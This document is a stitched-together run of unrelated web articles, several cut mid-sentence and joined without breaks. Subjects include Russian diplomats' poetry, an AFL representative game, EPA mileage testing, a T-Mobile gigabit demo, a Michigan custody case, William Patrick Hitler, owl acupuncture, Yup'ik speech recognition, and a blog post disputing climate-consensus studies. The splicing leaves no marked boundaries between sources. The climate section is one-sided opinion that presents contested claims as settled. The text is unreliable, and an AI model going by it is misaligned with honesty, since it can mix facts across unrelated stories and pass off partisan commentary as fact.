“Poets and diplomats use the same building blocks: the idea and the word,” said Vladimir Kazimirov, a former Soviet and Russian ambassador in Europe, Africa and the Americas. He is a member of the ministry’s poetry collective, Otdushina or “Release,” which has published seven anthologies of poetry since 2001.
The hundreds of poems, which include works by Foreign Minister Sergei Lavrov and former Soviet leader Yuri Andropov, explore personal and professional topics: love, autumn, banquets, the Cuban sun, cats, emigration, “Don Quixote” and life after 40, to name a few. One is titled “To the diplomatic courier.” In another, the ministry’s former property director awakes at dawn and cannot sleep, a fate shared by “the peasant and the poet.”
[How Russian special forces are shaping the fight in Syria]
Informally, staffers will fire off a few lines in verse to congratulate a colleague on a promotion or a professional holiday. Some riff on current events: One diplomat shared a ribald, collaborative poem about foreign officials puzzling over the Russian words “f------ morons,” which Lavrov grumbled during a November news conference.
“Being a diplomat does not mean that you stop being a person,” said Maria Zakharova, a spokeswoman for the Foreign Ministry, who published an ode in verse on her Facebook page to the Russian pilot shot down by a Turkish jet over Syria last year. “We sometimes work on extremely severe issues, and if you smother the person in yourself, you can’t have an objective view on the world.”
Russian diplomats claim three 19th-century poets as their most distinguished forebears: “Eugene Onegin” author Alexander Pushkin, “Woe from Wit” playwright Alexander Griboyedov and the romantic poet Fyodor Tyutchev, who wrote the now-famous maxim: “Russia cannot be understood with the mind alone.”
Today, young diplomats revere Lavrov, the often dour face of Russian foreign policy, who in 2001 published something akin to the battle hymn of the Russian diplomat, titled “Ambassador’s department.”
It begins as envoys work to unite the princedoms of old Russia under Moscow.
“And they served the country, feeling its nerves as their own / And learned the art of how to agree and to trade / And they learned how to live, respecting others on merit / And taught others how to respect Russia always,” he wrote.
“It is a historical work; it explains the core of our profession precisely,” said Anna Yangel, a young poet and diplomat in Russia’s embassy in Beijing.
“I like the minister’s poetry, and I’m not just saying that because he’s my direct boss,” chimed in Vitaly Orekhov, a writer and an attache at the foreign ministry.
Orekhov has written a novel, “The Chronicles of Ermatr,” which is “a bit like ‘Doctor Who’ and a bit like ‘The Curious Case of Benjamin Button,’ ” he explained.
“The story is about how politics act through people and how people move through politics,” he said, noting that some of the heroes were diplomats.
[Russia, with an eye on U.S., threatens to bomb Syrian cease-fire violators]
Older poets tend to join the poetry collective, and many turned to poetry to stave off boredom while working overseas. Mikhail Romanov, 80, served in an embassy in Nepal in the early 1980s, where he wrote poems for a series of puppet shows based on Russian children’s fairy tales put on by the staff.
“Imagine an embassy, especially a small one, far abroad, with a small, tight collective,” he recalled in an interview. “You have to find ways to entertain yourself.”
Vladimir Masalov, 75, was the general consul in Switzerland in 1999 when he had an argument with his wife.
“She said that everyone has a soul,” said Masalov, who was a medical student before joining the Foreign Ministry and now heads Otdushina. “I said, ‘What soul?’ I cut people open, could name all the organs and the bones inside, but I did not see a soul in there.”
The next day, he sat down to his desk at the consulate and wrote his first poem, beginning with the words: “What is the soul?”
Along with nine other poets, including Lavrov, he submitted several poems for the ministry’s first compendium of poetry in 2001.
Zakharova said that poetry at the Foreign Ministry was “neither a secret, nor do we publicize it,” stressing that it is an informal hobby.
But the poetry has generated more public attention recently. Last week, Zakharova published a response-in-verse targeted at Dmitry Bykov, a poet and member of the political opposition, who had poked fun at Lavrov for joining a soccer league.
“You don’t care about the essence of the world / But have the energy to discuss style,” read part of Zakharova’s poem, consummating the impromptu poetry slam.
“If I have brought a little bit more harmony to Maria Zakharova, having forced her to speak in verse,” Bykov replied wryly, “it merely shows that I have once again enriched our reality.”
Read more:
Syria shows that Russia built an effective military. Now how will Putin use it?
Kerry in Moscow calls for unity following Brussels attacks
Russia sentences Ukraine’s ‘Joan of Arc’ to 22 years in prison
Today’s coverage from Post correspondents around the world''I liken it to taking Black Caviar the week before the Melbourne Cup and running her in some manky country race meeting,'' Harris said on Tuesday. ''We are not rugby league. We don't need a representative game. We have an infinitely better game, we have better crowds and we are different in so many ways.'' The representative game, a one-year trial put together largely to appease major sponsor NAB and broadcasters Channel Seven and Fox Footy, would be scheduled at Etihad Stadium on either Friday, March 7 or Saturday, March 8. Fremantle players, should the fixture go ahead as mooted, would be expected to travel to Melbourne to train for several days leading up to the clash and then return to Melbourne the following week to take on the Magpies in the season opener. But Pavlich has been in talks with the AFL Players Association in recent days and won an assurance that no more than two Dockers would be selected for the game given the tight match turnaround.
Fairfax Media understands Harris made his disapproval clear well before the Dockers were aware they would be taking part in the season opener in Melbourne - during the meeting of the 18 presidents and chief executives in September, shortly before the Brownlow Medal count. He is understood to have asked AFL chiefs to explain the rationale behind the concept, which would be televised in place of the defunct NAB Cup grand final. The clubs were told that the AFL could penalise any selected players who withdrew from the game by standing them down from their respective club's round-one fixture. AFL chief executive Andrew Demetriou confirmed the all-stars concept would be trialled in 2014 and, while still being finalised, had the support of the AFLPA, the AFL broadcasters and NAB, although, he conceded, not all of the clubs. ''The grand final captains' concept is one option, although that's not certain,'' he said. ''The details are still being finalised by [AFL executives] Simon Lethlean and Mark Evans. Our preferred option is to trial a representative game involving the best players in the competition with a maximum placed on the number of players from each club.''
It is understood no more than four players would be selected from any one team, with those teams playing in the first week of the split first-round fixture, potentially represented by a maximum of three players and the travelling Dockers a maximum of two. Clubs will also play pre-season practice games over that weekend, reducing any imbalance concerning match preparation on representative footballers. Should Hodge and Pavlich not captain the sides, two other high-profile captains would be chosen and the selection process televised. Premiership coach Alastair Clarkson and Fremantle's Ross Lyon are not expected to coach the trial showcase game, which has been supported by Hodge, Gary Ablett and Scott Pendlebury. While Collingwood is expected to host the season-opener against Fremantle - the start of a tough opening run for the Magpies that includes contests against Sydney and Geelong in the first month - Gold Coast and Richmond (Metricon Stadium, Saturday night, March 15) will also take part in the first week of an unprecedented early start to the season. Loading
The representative game follows the failed international rules series in Ireland. The injured Adam Goodes was unable to take part in the series and the other potential captain, Lance Franklin, failed to honour his commitment to the concept, flying into Ireland late for just the first Test. Its unveiling follows Fairfax Media's revelation that the AFL will further depart from tradition to schedule up to three Sunday night games on Channel Seven next season. Two of those proposed will be blockbusters - a round-three MCG clash hosted by Essendon against Carlton, and a Collingwood-Carlton MCG game on June 29 midway through the school holiday period. A third game may see West Coast take on North Melbourne on June 1.Auto gas mileage ratings don't add up
That's because the mileage tests are conducted with professional drivers inside of laboratories using better-performing fuel and with air conditioning turned off for most of the ride.
Under rules announced Friday, tough new mileage standards will be phased in starting in 2017. But critics say those mileage ratings are notoriously unreliable, even under optimal conditions.
Many motorists know they can't expect to get the mileage they see on the window sticker if they drive too fast or don't keep the car in optimal condition. But what most of them don't know is even if they do drive like highway saints, they still won't get the Environmental Protection Agency-rated results.
The government will require new cars and trucks to meet a fleetwide average fuel economy standard of 54.5 miles per gallon by 2025.
Harold T. Holmes thought the Chevrolet Equinox he bought recently would get the promised 32 mpg, yet when the retiree from Columbus, Ohio, began driving the small SUV, he got 26 to 27 mpg at best. And that's even with conservative driving habits such as anticipating red lights and avoiding sudden stops.
"It is all funny math and it is very frustrating when you invest $30,000 in a car and it doesn't get anywhere near what they are advertising," said Holmes, who can "squeeze mileage from a rock," in the words of his wife, Judy Wharton.
When it comes to fuel economy, drivers such as Holmes are finding the numbers don't add up. And that's why some say the debate over new fuel-economy requirements seems hollow.
Critics say the problems with the mileage tests conducted by the EPA start with testers who never break a speed limit and operate cars with far more precision than typical drivers. Vehicles are tested inside laboratories on machines called dynamometers rather than on outdoor test tracks.
The tests also don't account for jack-rabbit starts and quick stops. The highway speed portion of the test averages only 48.3 miles per hour and tops out at 60. Few drivers go less than 60 mph in open highway traffic. The test lasts about 95 minutes, but the car's air conditioning is on for just 10 minutes.
Cars the EPA tests run on indolene, a form of gasoline used specifically for the tests to avoid variations. But people filling vehicles at the corner gas station often buy fuel that is mixed with 10% ethanol, which has one-third less energy than gasoline.
The test procedure was mandated by Congress after the Arab oil embargo in 1973 as part of an effort to increase fuel efficiency.
Some additional tests were added later solely for the EPA to come up with more accurate window sticker ratings.
But even the window stickers don't reflect real-life driving conditions, according to the Sierra Club, which on Monday will call for overhauling the way the EPA tests mileage.
"When it comes to how we set fuel efficiency standards, we are in a world of fantasy numbers that are divorced from reality," the environmental group said.
Certainly drivers are finding that's the case. "Excessive fuel consumption" was among the most frequent complaints in this year's J.D. Power and Associates initial quality survey of new vehicles.T-Mobile (NASDAQ: TMUS) and Ericsson (NASDAQ: ERIC) have achieved speeds of 1.1 Gbps using 12-layer Licensed Assisted Access (LAA) technology – the first in the world to hit speeds beyond the 1 Gbps threshold on unlicensed spectrum.
Neville Ray, Chief Technology Officer for T-Mobile, says: “T-Mobile has built the nation’s fastest LTE network by innovating and bringing new technologies to market for our customers. This LAA technology builds upon our deployments of 4x4 MIMO and 256 QAM and will give customers even greater access to near gigabit speeds in 2018.”
Fredrik Jejdling, Executive Vice President and Head of Networks at Ericsson, says: “Breaking the 1 Gbps-mark means that commercial gigabit speeds are not far from reality for many broadband users, with our LAA and MIMO technologies as key enablers. It is also an example of how innovatively we work with partners to push the boundaries of technology and achieve new milestones.”
The demo took place at T-Mobile's Bellevue, Washington lab using Ericsson Radio System and the TM500 network test equipment from Cobham Wireless. The data speeds were achieved by combining several key LTE technologies including 256 QAM, 4x4 MIMO, and LAA by aggregating two licensed carriers and three unlicensed carriers.
The use of these LTE technologies on unlicensed spectrum complements licensed spectrum and makes it possible for a larger number of operators to reach gigabit speeds in their networks.
LAA has been demonstrated previously on 10 layers, reaching download speeds of up to 1 Gbps. Extending to 12 layers enables speeds exceeding 1 Gbps.
The Ericsson Radio 2205 gives operators the opportunity to deploy LTE on the 5GHz unlicensed band in outdoor micro cell environments. Using LAA, the unlicensed carriers on these radios can be aggregated with licensed carriers on the micro cells or on nearby macro cells.
NOTES TO EDITORS
Ericsson Technology Review: Evolving 4G to fit the 5G future
https://www.ericsson.com/en/publications/ericsson-technology-review/archive/2017/evolving-lte-to-fit-the-5g-future
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About T-Mobile US, Inc.
As America's Un-carrier, T-Mobile US, Inc. (NASDAQ: TMUS) is redefining the way consumers and businesses buy wireless services through leading product and service innovation. Our advanced nationwide 4G LTE network delivers outstanding wireless experiences to 70.7 million customers who are unwilling to compromise on quality and value. Based in Bellevue, Washington, T-Mobile US provides services through its subsidiaries and operates its flagship brands, T-Mobile and MetroPCS. For more information, please visit http://www.t-mobile.com.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
July 10, 2015, 10:35 PM GMT / Updated July 11, 2015, 5:40 AM GMT By Phil Helsel
A Michigan judge has ordered the release of three children from a juvenile detention facility where they were placed after the kids refused the judge’s order to meet with their dad.
Oakland County Judge Lisa Gorcyca sent the children — ages 9, 10 and 15 — to a juvenile detention center on June 24 for failing to maintain a "healthy relationship" with their father.
On Friday the judge ordered that the children be sent to a summer camp instead, NBC station WDIV reported. Visits with their parents will be permitted at the camp, the station reported.
Gorcyca held the kids in contempt of court after they refused to have lunch with or talk to their dad in the Oakland County Family Court cafeteria. They were kept away from juveniles who committed crimes while at the detention center, The Associated Press reported.
RELATED: Judge Orders Kids to Juvenile Detention Center For Refusing to Meet With Dad
According to court records, the children's parents have been involved in a lengthy custody dispute since December 2009.
The siblings were removed from their mother's custody after the June 24 court hearing. According to a court transcript of the hearing obtained by NBC News, Judge Gorcyca told the siblings they should have lunch with their father, but the kids refused.
Gorcyca told the kids at the June hearing, "Your dad is a good man who loves you," according to the transcript. One of the siblings told the judge earlier in the conversation that he did not want to apologize to his father because he allegedly had been violent with his mother in the past.A DEVELOPER AND former member of Fianna Fáil’s ard chomhairle was among a group of protesters that forced the cancellation of the Allsop distressed property auction at the Shelbourne Hotel this morning.
Protestors from various groups, including ‘Friends of Banking Ireland” gained access to the auction room shortly after the event began at 9.45am, forcing organisers to halt the proceedings. A number of demonstrators, including developer Jerry Beades, occupied the venue for around an hour, but left after being told gardaí were being called in.
Beades, from Fairview, is currently being pursued by Ulster Bank for €3.5 million arising from alleged unpaid loans. He was most recently before the Commercial Court last month, and is representing himself in the case.
121 properties, including 33 houses and 26 apartments were due to go under the hammer as part of the auction. A statement released on behalf of Allsop said they were forced to cancel the event on account of public safety concerns:
Allsop Space has confirmed that today’s auction has been cancelled due to unforeseen organized protests taking place in the Shelbourne hotel. Unfortunately, proceedings were cancelled in the interest of public safety of those attending the auction. Further details will be announced in due course
Jerry Beades spoke to TheJournal.ie as he exited the hotel this morning…
(Youtube: Daragh BrophyMoving to USA
Moving to USA can be both an exciting and daunting process. The United States is one of the most powerful countries in the world in terms of politics, economics and trade. The cost of living in many cities within the country is relatively low and the majority of people who are based there find that they have a very comfortable standard of life. The US Dollar remains one of the strongest and most influential currencies in the world and it is this that has helped the country out of past economic slumps. The sheer size of the USA in comparison to its population means that there is an abundance of land. Many people make use of this by constructing their own houses outside the city.
Living in America as an expat
Living in America as an expat can be a life changing experience. It is a popular expat destination and is one of the most multi-cultural countries in the world with large communities of Mexican, Spanish, Italian, African American, Puerto Rican, Indian and Chinese communities. It attracts students from all over the world as well as trainee doctors, surgeons, dentists and lawyers.
Real estate in the United States is relatively low when compared with other developed countries but expats do find that prices are higher in the major financial cities such as New York City.
The US boasts some of the most successful educational institutes in the world. Harvard and Yale are two of the most famous and well-regarded universities but places at these are highly competed for. There are also a number of international schools and colleges that offer a very good education for all.
If you are moving to USA for a long time, it is important that you have full and comprehensive medical insurance, not just holiday cover. You may be refused treatment without it and you do not want to run the risk of getting thousands of dollars into debt because you cut some corners.
Overall, the USA is an excellent place to base yourself as an expat. There is an abundance of attractions to keep you occupied and you will gain invaluable life and work experience if you spend time as an expat living in America.
Living cost comparison
When performing a living cost comparison between cities in the USA and abroad, it is important to note that the cost of living in the United States really does depend upon the area and city in which expatriates base themselves. As with most countries, the cost of living in the bigger cities such as Los Angeles, Chicago, New York and Houston is significantly higher than in some of the more rural areas.
In the 2012 Mercer cost of living survey New York was named as the most expensive city in the United States and the 33rd most expensive city in the world in which to live. Los Angeles (68) and San Francisco (90) are slowly catching up, however, having jumped a respective nine and 16 places since last year. Amongst other major US cities, Washington was named as the 107th most expensive place in the world in which to live, Miami (110) was up five places and Chicago, also at 110, was down two places. Portland, Oregon (178), and Winston-Salem, |
he had learned about his uncle Adolf and the Nazi regime. He did so during a lecture tour sponsored by newspaperman William Randolph Hearst. When the outbreak of war in Europe (instigated by William’s uncle Adolf) prevented William and his mother from returning to England, William began lobbying for admission to the US armed forces. Once again, his family ties blocked the way.Finally, in 1942, William wrote directly to President Franklin D. Roosevelt, begging to be allowed to serve in the US military. “I am one of many, but can render service to this great cause,” he wrote. FDR passed the letter on to FBI Director J. Edgar Hoover, who looked into William’s background and finally cleared him for military service.Sworn into the US Navy in New York City on March 6, 1944, William Hitler went on to serve three years as a pharmacist’s mate, receiving the Purple Heart for a wound he suffered. He was discharged in 1947.Finally tired of the attention his controversial surname attracted, William changed it to Stuart-Houston after returning to the civilian world. He married German-born Phyllis Jean-Jacques, and the couple settled in Patchogue on New York’s Long Island, where they had four children (the first of whom bore the surprising middle name of Adolf). William ran a blood analysis lab, Brookhaven Laboratories, in his family’s home. William Stuart-Houston died on July 14, 1987, and was buried next to his late mother in Coram, New York. His children did not produce any children of their own.Not surprisingly, given his movement back and forth between Nazi Germany and Great Britain before coming to the United States, and his admitted efforts to benefit from his relation to Adolf Hitler, William Hitler’s motives and loyalties have come under question in retrospect. Some writers have branded him an opportunist who seemed untroubled by his uncle’s violent and hateful politics, and was apparently content to stay in Nazi Germany if it was advantageous to him. Others have remarked that his exit from Germany was well timed for avoiding military service in the war that was about to erupt. Still others point out the similarity between the surname he assumed after the war (Stuart-Houston) and the name of a prominent English-born anti-Semitic and Germanophile author, Houston Stewart Chamberlain.No final answer seems possible on these questions at this point, barring a fresh historical or archival discovery. A diary William Hitler kept during his time in Germany turned up in the attic of his former home in Patchogue in 2014, but seemingly revealed little about his political sentiments.As much as William Patrick Hitler Stuart-Houston sought to parlay his family tree into opportunities in his young years, he did his utmost to disappear into anonymity after the war. He never again commented publicly on Adolf Hitler or the Hitler family.
• William Patrick Hitler, nephew of Adolf Hitler, in his uniform as a member of the US Navy during World War II.
• In the United States in 1941, Bridget Dowling, ex-wife of Adolf Hitler’s brother Alois and mother of William Patrick Hitler, staffs a table promoting help for war-stricken Great Britain through the British War Relief Society. LIBRARY OF CONGRESS
• In January 1933, Adolf Hitler—newly appointed chancellor of Germany—pays his respects to President Paul von Hindenburg in Berlin. Future high officials of Nazi Germany are visible just behind Hitler, to the left: Hermann Göring (in helmet) and Josef Göbbels (in top hat). NATIONAL ARCHIVES
• William Patrick Hitler is sworn into the US Navy at a recruiting station in New York City on March 6, 1944. NATIONAL ARCHIVES
• Finally a member of the US Navy, William Patrick Hitler points to “Target Berlin”—capital city of his uncle Adolf’s Nazi Germany—on a wartime poster. US NAVY
• With his “Ruptured Duck” patch sewn on his navy tunic, William Patrick Hitler receives his US Navy records as he leaves the service in 1947. US NAVYA "Little owl", or Athene Noctua receives acupuncture treatment at Brinzal, an owl-rescue charity based in a park in the west of Madrid, on November 25, 2014 (AFP Photo/Gerard Julien)
Madrid (AFP) - The patient opens his yellow eyes wide but makes no sound as acupuncturist Edurne Cornejo pricks four fine needles into his legs.
It is hard to tell whether he is surprised, as his eyes are wide at the best of times. He is an owl -- and no newcomer to acupuncture therapy.
Two months ago this 25-centimetre (10-inch) "little owl", or Athene Noctua, hurt his back when he flew by mistake into a stovepipe at a factory in eastern Madrid. The city lies on a mountainous plateau teeming with such birds.
He was sent to Brinzal, an owl-rescue charity based in a park in the west of the city.
Now he lies, his speckled brown and white breast puffing in and out, as the acupuncture needles stimulate key points in his nervous system.
"When he first came, he couldn't stand up. Then he started taking little steps. Now he is flying again," says Cornejo.
She has given the unnamed owl 10 weekly acupuncture sessions so far.
"It stimulates self-curing mechanisms in the organism. It does not cause side-effects" as some medicines do, she says.
The use of the ancient Chinese technique in animals is growing worldwide, according to the International Veterinary Acupuncture Society, a US-based body formed in 1974.
Acupuncturist vets recommend it in animals for muscle and joint problems -- such as the owl's bad back -- as well as for nerve, skin, breathing and gut complaints.
A family vet specialising in acupuncture for dogs and cats, Cornejo visits Brinzal as a volunteer to treat some of the hundreds of ailing night birds brought there each year by the public.
Elsewhere in the Brinzal centre, about 80 eagle owls, tawny owls, little owls and other species at various stages of recovery relax or practise flying again in covered enclosures.
Trays of dead chicks with fluffy yellow feathers are laid out for the predators to feed on. Inside one shed, live mice wriggle in the hands of staff preparing them for the owls' lunch.
- Owl psychology -
About 1,200 birds are brought to the centre each year, of which about 70 percent recover and can be returned to the wild, says Brinzal's co-ordinator, Patricia Orejas.
Brinzal's centre opened in 1989 and has been providing acupuncture for its owls for six years. Cornejo estimates that acupuncture has been used on animals in Spain at least since the 1980s.
"We provide physical and psychological rehabilitation. But some sadly cannot recover," Orejas says.
Some owls get too used to human company and cannot re-adapt to the predator's life in the wild.
Among these is Eire, a plump seven-year-old tawny owl who sits on a branch in a spacious enclosure, blinking at visitors with big dark eyes.
She was caught and kept as a pet when she was a baby and later brought to the centre. Domestic life had already made her permanently unfit for the wild.
For other owls, Orejas and her team have training methods to revive their wild defences, teaching them which beasts are their predators, above them in the food chain.
They show them live rats, or models of falcons, and play recordings of the warning screech made by the owls themselves in the wild, to teach them that those animals pose a threat.
If all goes well, within months the rehabilitated night birds could be back in the countryside, helping the ecosystem by eating mice and other pests.
"The more mice-eaters we have in the countryside, the fewer problems we will have, because we will not have to use pesticides that can harm humans," Orejas says.
"By receiving animals with problems here, we learn what problems there are in the countryside," as the ailing birds give a clue to environmental threats in the areas where they breed, she adds. "That way we can design conservation projects."
Orejas opens a large enclosure where a gang of square-browed eagle owls watch suspiciously from the far end.
One of them spreads its wings -- spanning 1.8 metres (six feet) -- and flies towards the entrance, before turning its back and fluttering back again to a safe distance.
"That is how they should be," Orejas says. "Flying away from us."YK Delta communities are keeping Yup’ik alive through immersion schools, bilingual media, teacher training programs, and speaking the language at home. And now, Bethel native Christopher Liu is doing his part to bring his language into the 21st century.
Listen now
Liu is a grad student at Stanford who is studying electrical engineering and specializes in speech processing and optimization. He’s interning at NASA this summer, working to determine the best pathway for their new orbiter’s long trip to Mars. And when he’s not crunching numbers at NASA, Liu’s training a computer program to recognize Yup’ik speech.
When asked if he was trying to build a Yup’ik Siri, Liu laughed.
“I think that’s the hope,” Liu said.
Liu’s mother is from Nunapitchuk and he attended Ayaprun Elitnaurvik as a child in Bethel. In an era of smartphones and increased globalization, he hopes that his speech recognition program will help bring Yup’ik into the Internet Age.
“Many other people in my generation don’t speak Yup’ik anymore,” Liu said. “And everyone’s checked into their phones and English media. Having access to Yup’ik through technology is one way of allowing it to persist and making it easier to use.”
Liu’s project faces a number of challenges. Existing speech recognition programs struggle with Yup’ik.
“There are sounds in Yup’ik that don’t exist in English,” Liu explained, “which is why you can’t just speak in Yup’ik to an English Siri.”
And in comparison to many other languages, Yup’ik’s grammatical structure is also unique.
“You can basically fit two sentences of English into one word of Yup’ik, sometimes,” Liu said. “So, the English sentence ‘do you want to play cards?’ In Yup’ik, that’s a single word.”
Christopher is training the program to recognize Yup’ik from scratch, and that means it needs data. If Christopher’s going to build “Yup’ik Siri,” he needs to compile 100 hours of recorded, fully transcribed conversations to feed into the software. He’s asking Calista, the Lower Kuskowkim School District and other local organizations for help.
“I’ve been fortunate to receive some recordings from KYUK of their Yup’ik newscasts and Yuk to Yuk,” Liu said. “If everyone worked together to get all the recordings together, it could be very helpful.”
It’s still not clear if Christopher’s program is going to work. He says that it’s a process of trial and error, starting from scratch and learning from your mistakes. It can get tedious, but as Christopher goes through hours of tapes, he says that his own Yup’ik is improving.
“I’ve had fun listening to old tapes and old recordings of elders,” Liu said. “I get a chance to learn more about traditional knowledge. I always think of Ellam Yua. I still don’t know yet what it means fully, but that was the religion that existed here before Christianity. And I’m still trying to learn what that means. I think I should know what it means.”by Judith Curry
Critiques, the 3%, and is 47 the new 97?
For background, see my previous post The 97% feud.
Cook et al. critiques
At the heart of the consensus controversy is the paper by Cook et al. (2013), which inferred a 97% consensus by classifying abstracts from published papers.The study was based on a search of broad academic literature using casual English terms like “global warming”, which missed many climate science papers but included lots of non-climate-science papers that mentioned climate change – social science papers, surveys of the general public, surveys of cooking stove use, the economics of a carbon tax, and scientific papers from non-climate science fields that studied impacts and mitigation.
The Cook et al. paper has been refuted in the published literature in an article by Richard Tol: Quantifying the consensus on anthropogenic global warming in the literature: A re-analysis (behind paywall). Summary points from the abstract:
A trend in composition is mistaken for a trend in endorsement. Reported results are inconsistent and biased. The sample is not representative and contains many irrelevant papers. Overall, data quality is low. Cook׳s validation test shows that the data are invalid. Data disclosure is incomplete so that key results cannot be reproduced or tested.
Social psychologist Jose Duarte has a series of blog posts that document the ludicrousness of the selection and categorization of papers by Cook et al., including citation of specific articles that they categorized as supporting the climate change consensus:
From this analysis, Duarte concludes: ignore climate consensus studies based on random people rating journal article abstracts. I find it difficult to disagree with him on this.
The 3%
So, does all this leave you wondering what the 3% of papers not included in the consensus had to say? Well, wonder no more. There is a new paper out, published by Cook and colleagues:
Learning from mistakes
Rasmus Benestad, Dana Nuccitelli, Stephan Lewandowski, Katherine Hayhoe, Hans Olav Hygen, Rob van Dorland, John Cook
Abstract. Among papers stating a position on anthropogenic global warming (AGW), 97 % endorse AGW. What is happening with the 2 % of papers that reject AGW? We examine a selection of papers rejecting AGW. An analytical tool has been developed to replicate and test the results and methods used in these studies; our replication reveals a number of methodological flaws, and a pattern of common mistakes emerges that is not visible when looking at single isolated cases. Thus, real-life scientific disputes in some cases can be resolved, and we can learn from mistakes. A common denominator seems to be missing contextual information or ignoring information that does not fit the conclusions, be it other relevant work or related geophysical data. In many cases, shortcomings are due to insufficient model evaluation, leading to results that are not universally valid but rather are an artifact of a particular experimental setup. Other typical weaknesses include false dichotomies, inappropriate statistical methods, or basing conclusions on misconceived or incomplete physics. We also argue that science is never settled and that both mainstream and contrarian papers must be subject to sustained scrutiny. The merit of replication is highlighted and we discuss how the quality of the scientific literature may benefit from replication.
Published in Theoretical and Applied Climatology [link to full paper].
A look at the Supplementary Material shows that they considered credible skeptical papers (38 in total) – by Humlum, Scafetta, Solheim and others.
The gist of their analysis is that the authors were ‘outsiders’, not fully steeped in consensus lore and not referencing their preferred papers.
RealClimate has an entertaining post on the paper, Let’s learn from mistakes, where we learn that this paper was rejected by five journals before being published by Theoretical and Applied Climatology. I guess the real lesson from this paper is that you can get any kind of twaddle published, if you keep trying and submit it to different journals.
A consensus on what, exactly?
The consensus inferred from the Cook et al. analysis is a vague one indeed; exactly what are these scientists agreeing on? The ‘97% of the world’s climate scientists agree that humans are causing climate change’ is a fairly meaningless statement unless the relative amount (%) of human caused climate change is specified. Roy Spencer’s 2013 Senate testimony included the following statement:
“It should also be noted that the fact that I believe at least some of recent warming is human-caused places me in the 97% of researchers recently claimed to support the global warming consensus (actually, it’s 97% of the published papers, Cook et al., 2013). The 97% statement is therefore rather innocuous, since it probably includes all of the global warming “skeptics” I know of who are actively working in the field. Skeptics generally are skeptical of the view that recent warming is all human-caused, and/or that it is of a sufficient magnitude to warrant immediate action given the cost of energy policies to the poor. They do not claim humans have no impact on climate whatsoever.
The only credible way to ascertain whether scientists support the consensus on climate change is through surveys of climate scientists. This point is eloquently made in another post by Joe Duarte: The climate science consensus is 78-84%. Now I don’t agree with Duarte’s conclusion on that, but he makes some very salient points:
Tips for being a good science consumer and science writer. When you see an estimate of the climate science consensus:
Make sure it’s a direct survey of climate scientists. Climate scientists have full speech faculties and reading comprehension. Anyone wishing to know their views can fruitfully ask them. Also, be alert to the inclusion of people outside of climate science.
Make sure that the researchers are actual, qualified professionals. You would think you could take this for granted in a study published in a peer-reviewed journal, but sadly this is simply not the case when it comes to climate consensus research. They’ll publish anything with high estimates.
Be wary of researchers who are political activists. Their conflicts of interest will be at least as strong as that of an oil company that had produced a consensus study – moral and ideological identity is incredibly powerful, and is often a larger concern than money.
In general, do not trust methods that rest on intermediaries or interpreters, like people reviewing the climate science literature. Thus far, such work has been dominated by untrained amateurs motivated by political agendas.
Be mindful of the exact questions asked. The wording of a survey is everything.
Be cautious about papers published in climate science journals, or really in any journal that is not a survey research journal. Our experience with the ERL fraud illustrated that climate science journals may not be able to properly review consensus studies, since the methods (surveys or subjective coding of text) are outside their domains of expertise. The risk of junk science is even greater if the journal is run by political interests and is motivated to publish inflated estimates. For example, I would advise strong skepticism of anything published by Environmental Research Letters on the consensus – they’re run by political people like Kammen.
Is 47 the new 97?
The key question is to what extent climate scientists agree with key consensus statement of the IPCC:
“It is extremely likely {95%+ certainty} that more than half of the observed increase in global average surface temperature from 1951 to 2010 was caused by the anthropogenic increase in greenhouse gas concentrations and other anthropogenic forcings together. ”
Several surveys of climate scientists have addressed using survey questions that more or less address the issue of whether humans are the dominant cause of recent warming (discussed in the previous post by Duarte and summarized in my post The 97% feud).
The survey that I like the best is:
Verheggan et al. (2014) Scientists view about attribution of climate change. Environmental Science & Technology [link]
Recently, a more detailed report on the survey was made available [link]. Fabius Maximus has a fascinating post New study undercuts key IPCC finding (the text below draws liberally from this post). This survey examines agreement with the keynote statement of the IPCC AR5:
“It is extremely likely {95%+ certainty} that more than half of the observed increase in global average surface temperature from 1951 to 2010 was caused by the anthropogenic increase in greenhouse gas concentrations and other anthropogenic forcings together. ”
The survey examines both facets of the attribution statement – how much warming is caused by humans, and what is the confidence in that assessment.
In response to the question: What fraction of global warming since the mid 20th century can be attributed to human induced increases in atmospheric greenhouse gas concentrations? A total of 1,222 of 1,868 (64% of respondents) agreed with AR5 that the answer was over 50%. Excluding the 164 (8.8%) “I don’t know” respondents, yields 72% agree with the IPCC.
The second question is: “What confidence level would you ascribe to your estimate that the anthropogenic greenhouse gas warming is more than 50%?” Of the 1,222 respondents who said that the anthropogenic contribution was over 50%, 797 (65%) said it was 95%+ certain (which the IPCC defines as “virtually certain” or “extremely likely”).
The 797 respondents who are highly confident that more than 50% of the warming is human caused) are 43% of all 1,868 respondents (47% excluding the “don’t know” group). Hence this survey finds that slightly less than half of climate scientists surveyed agree with the AR5 keynote statement in terms of confidence in the attribution statement.
Whose opinion ‘counts’?
Surveys of actual climate scientists is a much better way to elicit the actual opinions of scientist on this issue. But surveys raise the issue as to exactly who are the experts on the issue of attribution of climate change? The Verheggan et al. study was criticized in a published comment by Duarte, in terms of the basis for selecting participants to respond to the survey:
“There is a deeper problem. Inclusion of mitigation and impacts papers – even from physical sciences or engineering – creates a structural bias that will inflate estimates of consensus, because these categories have no symmetric disconfirming counterparts. These researchers have simply imported a consensus in global warming. They then proceed to their area of expertise. [These papers] do not carry any data or epistemic information about climate change or its causes, and the authors are unlikely to be experts on the subject, since it is not their field.
Increased public interest in any topic will reliably draw scholars from various fields. However, their endorsement (or rejection) of human-caused warming does not represent knowledge or independent assessments. Their votes are not quanta of consnsensus, but simply artifacts of career choices, and the changing political climate. Their inclusion will artificially inflate sample sizes, and will likely bias the results.”
Roy Spencer also addresses this issue in his Senate testimony (cited above):
“(R)elatively few researchers in the world – probably not much more than a dozen – have researched how sensitive today’s climate system is based upon actual measurements. This is why popular surveys of climate scientists and their beliefs regarding global warming have little meaning: very few of them have actually worked on the details involved in determining exactly how much warming might result from anthropogenic greenhouse gas emissions.”
The number of real experts on the detection and attribution of climate change is small, only a fraction of the respondents to these surveys. I raised this same issue in the pre-Climate Etc. days in response to the Anderegg et al. paper, in a comment at Collide-a-Scape (referenced by Columbia Journalism Review):
The scientific litmus test for the paper is the AR4 statement: “anthropogenic greenhouse gases have been responsible for “most” of the “unequivocal” warming of the Earth’s average global temperature over the second half of the 20th century”.
The climate experts with credibility in evaluating this statement are those scientists that are active in the area of detection and attribution. “Climate” scientists whose research areas is ecosystems, carbon cycle, economics, etc speak with no more authority on this subject than say Freeman Dyson.
